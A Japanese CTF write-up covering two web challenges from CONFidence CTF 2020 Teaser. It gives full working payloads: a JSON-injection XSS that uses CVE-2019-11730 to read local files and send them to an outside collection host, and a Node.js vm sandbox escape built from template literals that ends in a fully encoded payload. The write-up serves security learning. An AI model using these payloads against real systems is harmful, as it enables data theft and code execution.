3 月 14 日から 3 月 15 日にかけて開催された CONFidence CTF 2020 Teaser に、チーム zer0pts として参加しました。最終的にチームで 786 点を獲得し、順位は 9 点以上得点した 354 チーム中 19 位でした。うち、私は 2 問を解いて 319 点を入れました。
他のメンバーの write-up はこちら。
以下、私が解いた問題の write-up です。
HAI! WANNA SEE MAI KATZ? OR MAYBE YOU WANNA SEE SOM FLAG?
(URL)
Note: Getting the flags location is a part of the challenge. You don’t have to guess it.
与えられた URL にアクセスすると、以下のような HTML が返ってきました。
<html>
<head>
<title>My cats</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script>
function getNewCats(kind) {
$.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
if(data.status != 'ok')
{
return;
}
$('#cats_container').empty();
cats = data.content;
cats.forEach(function(cat) {
var newDiv = document.createElement('div');
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
$('#cats_container').append(newDiv);
});
});
}
$(document).ready(function() {
$('#cat_select').change(function() {
var kind = $(this).val();
history.pushState({}, '', '?'+kind)
getNewCats(kind);
});
var kind = window.location.search.substring(1);
if(kind == "")
{
kind = 'black';
}
getNewCats(kind);
});
</script>
</head>
<body>
<select id="cat_select">
<option value="black">black</option>
<option value="grey">grey</option>
<option value="red">red</option>
<option value="white">white</option>
</select>
<div id="cats_container"></div>
not like sumthing? send it <a href="/report">hier</a>
</body>
</html>
セレクトボックスから色を選択すると /cats?kind=(選択した色)
という感じで API を叩き、返ってきた JSON に含まれるパスを画像として表示するアプリケーションのようです。なお、newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
とその色とパスをそのまま HTML に結合した上で innerHTML
に設定しており、XSS ができそうです。
/cats
が XSS に使えないか調べてみましょう。/cats?kind=red
にアクセスすると以下のような JSON が返ってきました。
{"status": "ok", "content": ["69aa998e638d6ab2f22a7e2b273f59da.jpg", "unnamed.jpg", "cats-32.jpg", "ryizhiy-kotenok1.jpg", "e4dc63465b454a8f1df7c28bfcec9c65.jpg"]}
/cats?kind=neko
にアクセスすると以下のような JSON が返ってきました。
{"status": "error", "content": "neko could not be found"}
/cats?kind=%22
にアクセスすると以下のような JSON (?) が返ってきました。
{"status": "error", "content": "" could not be found"}
"
がエスケープされておらず、JSON の構造を破壊することができそうです。先程のページで innerHTML
経由の XSS ができる条件として data.status != 'ok'
があるので、status
プロパティを ok
にした上で content
プロパティも置き換えてしまいましょう。
/cats?kind=",%20"status":%20"ok",%20"content":%20["abc\u0022%20onerror\u003d\u0022alert(123)"],%20"a":%20"
にアクセスすると以下のような JSON が返ってきました。
{"status": "error", "content": "", "status": "ok", "content": ["abc\u0022 onerror\u003d\u0022alert(123)"], "a": " could not be found"}
/?",%20"status":%20"ok",%20"content":%20["abc\u0022%20onerror\u003d\u0022alert(123)"],%20"a":%20"
にアクセスするとアラートが表示されました。
/report
からは URL を admin に報告できます。ところが、fetch
で /flag
や /admin
のようなコンテンツを取得して適当な URL に投げさせてみてもどれも 404、document.cookie
や document.referer
も空とフラグの場所がわかりません。
ここで試しに RequestBin で生成した URL を投げてみたところ、Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
という User-Agent のブラウザからアクセスが来ました。どうやら問題サーバと同じオリジンでなくてもアクセスしてくれるようです。
まさかと思い javascript:location="(URL)"
を投げてみたところ、こちらでもちゃんと指定した URL にアクセスが来ました。スキームのチェックは全く行われていないようです。
ここで悩んでいたところ、aventador さんが CVE-2019-11730 という脆弱性を紹介してくれました。これはそのページが file
スキームであればローカルにあるファイルを読み出せるという脆弱性のようです。
/cats
へのリクエスト部分では $.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind)
と URL 部分が丁寧にも相対パスではないため、file
スキームであっても相変わらず XSS が可能です。file:///app/templates/index.html?(ペイロード)
にアクセスさせれば CVE-2019-11730 を利用してローカルにあるファイルの内容を読み出させることができそうです。
alidnf/CVE-2019-11730 を参考に、試しに file:///app/templates/index.html?",%20"status":%20"ok",%20"content":%20["abc\u0022%20onerror\u003d\u0022var%20i%3Ddocument.createElement('iframe')%3Bi.src%3D'.%2F'%3Bi.onload%3Dfunction()%7B(new%20Image).src%3D'http%3A%2F%2F(省略)%3F'%2Bi.contentDocument.body.innerText%7D%3Bdocument.body.append(i)"],%20"a":%20"
を投げてみると以下のようなリクエストが来ました。
GET /r/1eysizb1?Indeks file:///app/templates/Do katalogu wyższego poziomuNazwaRozmiarOstatnia modyfikacjaflag.txt1 KB13.03.202017:41:14 UTCindex.html2 KB13.03.202022:21:34 UTCreport.html1 KB13.03.202017:41:14 UTC=
おっ、flag.txt
があるようです。file:///app/templates/index.html?",%20"status":%20"ok",%20"content":%20["abc\u0022%20onerror\u003d\u0022var%20i%3Ddocument.createElement('iframe')%3Bi.src%3D'.%2Fflag.txt'%3Bi.onload%3Dfunction()%7B(new%20Image).src%3D'http%3A%2F%2F(省略)%3F'%2Bi.contentDocument.body.innerText%7D%3Bdocument.body.append(i)"],%20"a":%20"
でフラグが得られました。
p4{can_i_haz_a_piece_of_flag_pliz?}
ECMAScript 6 brought in a new paradigm to JavaScript: template programming!!111 … kinda
Do you want to try? :)
(URL)
この問題は zer0pts が first solve でした。
与えられた URL にアクセスすると、Type 'source' to reveal the truth...
というメッセージとともに REPL が表示されました。とりあえず source
と打ってみるとサーバのソースが表示されました。
const express = require("express")
const fs = require("fs")
const vm = require("vm")
const watchdog = require("./watchdog");
global.flag = fs.readFileSync("flag").toString()
const source = fs.readFileSync(__filename).toString()
const help = "There is no help on the way."
const app = express()
const port = 3000
app.use(express.json())
app.use('/', express.static('public'))
app.post('/repl', (req, res) => {
let sandbox = vm.createContext({par: (v => `(${v})`), source, help})
let validInput = /^[a-zA-Z0-9 ${}`]+$/g
let command = req.body['cmd']
console.log(`${req.ip}> ${command}`)
let response;
try {
if(validInput.test(command))
{
let watch = watchdog.schedule()
try {
response = vm.runInContext(command, sandbox, {
timeout: 300,
displayErrors: false
});
} finally {
watchdog.stop(watch)
}
} else
throw new Error("Invalid input.")
} catch(ex)
{
response = ex.toString()
}
console.log(`${req.ip}< ${response}`)
res.send(JSON.stringify({"response": response}))
})
console.log(`Listening on :${port}...`)
app.listen(port, '0.0.0.0')
validInput
の範囲内で任意のコードが実行でき、global.flag
を読み出すことができれば勝ちのようです。英数字に加えて半角スペースとバックティック、$
{
}
しか使えないとなると厳しそうですが、頑張りましょう。
$
{
}
という記号から思い出される JavaScript の機能といえば、ECMAScript 2015 で追加されたテンプレート文字列です。これは以下のようにバックティックで囲むことで文字列中に式を実行してその結果を埋め込むことができる機能です。
`a${7*7}b` // => a49b
なお、バックティックの前に関数を置くと、その関数が以下のような引数とともに呼び出されます。
function f(...args) {
console.log(JSON.stringify(args));
}
f`a${7*7}b${1+2}c` // ([["a","b","c"],49,3] が console.log で出力される)
((...args)=>{console.log(JSON.stringify(args))})`a${7*7}b${1+2}c` // ([["a","b","c"],49,3] が console.log で出力される)
これを利用して好きなコードを実行できるよう頑張っていきましょう。具体的には eval(String.fromCharCode(...))
に相当するコードを作り出しましょう。
String.fromCharCode
にアクセスするには String.fromCharCode
や String['fromCharCode']
のような方法がありますが、いずれも validInput
では許可されていない文字が含まれているためそのままでは使えません。適当な関数で .
を作り、何らかの方法で文字列を結合して String.fromCharCode
という文字列を作り、eval('String.fromCharCode')
で関数そのものを手に入れましょう。ただ、以下のようなコードで一見いけそうに見えますが、
eval`String${atob`Lg`}fromCharCode`
これは eval(["String","fromCharCode"],".")
に相当し、eval
は第一引数のみを実行するためうまくいきません。これに対し、Function
は最後の引数を関数の本体とし、それ以外の引数についてはその関数の仮引数名として解釈します。以下のようなコードは、
Function`a${`return String${atob`Lg`}fromCharCode`}`
Function(["a",""],"return String.fromCharCode")
に相当し、これは function (a) { return String.fromCharCode }
のような関数になります。しかしながら Node.js にはデフォルトでは atob
(Base64 デコードする関数) がありません。別の方法で .
を作りましょう。
ソースコードを眺めていると、sandbox から参照できる変数として、呼び出すと引数を (
)
で囲った文字列を返す par
という関数と、"There is no help on the way."
という文字列が入っている help
があることがわかりました。help
には .
が含まれていますから、これを切り出すのが楽でしょう。
文字列の一部を切り出す方法として help.substr(x, y)
や help.charAt(x)
、あるいは help[x]
のような方法が考えられますが、やはりいずれも validInput
では許可されていない文字が含まれています。ただ、par
関数によって (
)
については作ることができますから、これを利用できないでしょうか。
JavaScript には with
文というあまり知られていない構文があり、以下のように .
や [
]
を使わずともそのオブジェクトのプロパティにアクセスすることができます。
with (console) log('test'); // test が console.log で出力される
これを利用して、以下のような help.charAt(27)
に相当するコードで .
を作り出すことができました。
Function`a${`with ${`${par`help`}`} return charAt${par`27`}`}```
先程のコードの atob
を呼び出している部分をこれに置き換えることで、String.fromCharCode
を取得することができました。
Function`a${`return String${Function`a${`with ${`${par`help`}`} return charAt${par`27`}`}```}fromCharCode`}```
ちゃんと動いているか確認しましょう。String.fromCharCode(65, 66, 67)
に相当するコードを作り、実行するとちゃんと ABC
と出力されました。やった!
Function`a${`return String${Function`a${`with ${`${par`help`}`} return charAt${par`27`}`}```}fromCharCode${par`65${1}66${1}67`}`}```
ここまでのまとめとして、好きなコードを実行できるように eval(String.fromCharCode(...))
に相当するコードを出力するスクリプトを書きましょう。
template = '''
Function`a${Function`a${`return String${Function`a${`with ${`${par`help`}`} return charAt${par`27`}`}```}fromCharCode${par`XXXXX`}`}```}```
'''.strip()
payload = '''
return 7*7
'''.strip()
print(template.replace('XXXXX', '${1}'.join(str(ord(c)) for c in payload)))
validInput
の制限を無視できるようにはなりましたが、残念ながらこれらのコードは vm.runInContext
によって制限された環境の中で実行されているため、最初に定義されている global.flag
にはアクセスすることができません。抜け出せないでしょうか。
node.js vm escape
でググってみると、Escaping nodejs vm という Gist がヒットしました。上から見ていくと、code5
が Proxy
を例外として投げるもので、このアプリの try { response = vm.runInContext(…); … } catch (ex) { response = ex.toString() }
という例外の処理方法から考えても使えそうです。
最終的に、先程のスクリプトの payload
を以下のようなコードに置き換え、実行して出力されたものを投げるとフラグが得られました。
throw new Proxy({}, {
get: function(me, key) {
const cc = arguments.callee.caller;
if (cc != null) {
var res = (cc.constructor.constructor('return flag'))();
}
return function () {
return res;
};
}
})
$ python gen.py
Function`a${Function`a${`return String${Function`a${`with ${`${par`help`}`} return charAt${par`27`}`}```}fromCharCode${par`116${1}104${1}114${1}111${1}119${1}32${1}110${1}101${1}119${1}32${1}80${1}114${1}111${1}120${1}121${1}40${1}123${1}125${1}44${1}32${1}123${1}10${1}32${1}32${1}103${1}101${1}116${1}58${1}32${1}102${1}117${1}110${1}99${1}116${1}105${1}111${1}110${1}40${1}109${1}101${1}44${1}32${1}107${1}101${1}121${1}41${1}32${1}123${1}10${1}32${1}32${1}32${1}32${1}99${1}111${1}110${1}115${1}116${1}32${1}99${1}99${1}32${1}61${1}32${1}97${1}114${1}103${1}117${1}109${1}101${1}110${1}116${1}115${1}46${1}99${1}97${1}108${1}108${1}101${1}101${1}46${1}99${1}97${1}108${1}108${1}101${1}114${1}59${1}10${1}32${1}32${1}32${1}32${1}105${1}102${1}32${1}40${1}99${1}99${1}32${1}33${1}61${1}32${1}110${1}117${1}108${1}108${1}41${1}32${1}123${1}10${1}32${1}32${1}32${1}32${1}32${1}32${1}118${1}97${1}114${1}32${1}114${1}101${1}115${1}32${1}61${1}32${1}40${1}99${1}99${1}46${1}99${1}111${1}110${1}115${1}116${1}114${1}117${1}99${1}116${1}111${1}114${1}46${1}99${1}111${1}110${1}115${1}116${1}114${1}117${1}99${1}116${1}111${1}114${1}40${1}39${1}114${1}101${1}116${1}117${1}114${1}110${1}32${1}102${1}108${1}97${1}103${1}39${1}41${1}41${1}40${1}41${1}59${1}10${1}32${1}32${1}32${1}32${1}125${1}10${1}32${1}32${1}32${1}32${1}114${1}101${1}116${1}117${1}114${1}110${1}32${1}102${1}117${1}110${1}99${1}116${1}105${1}111${1}110${1}32${1}40${1}41${1}32${1}123${1}32${1}114${1}101${1}116${1}117${1}114${1}110${1}32${1}114${1}101${1}115${1}59${1}32${1}125${1}59${1}10${1}32${1}32${1}125${1}10${1}125${1}41`}`}```}```
$ curl https://(省略)/repl -H "Content-Type: application/json" -d '{"cmd":"(省略)"}'
{"response":"p4{js_template_strings_are_so_functional}"}
p4{js_template_strings_are_so_functional}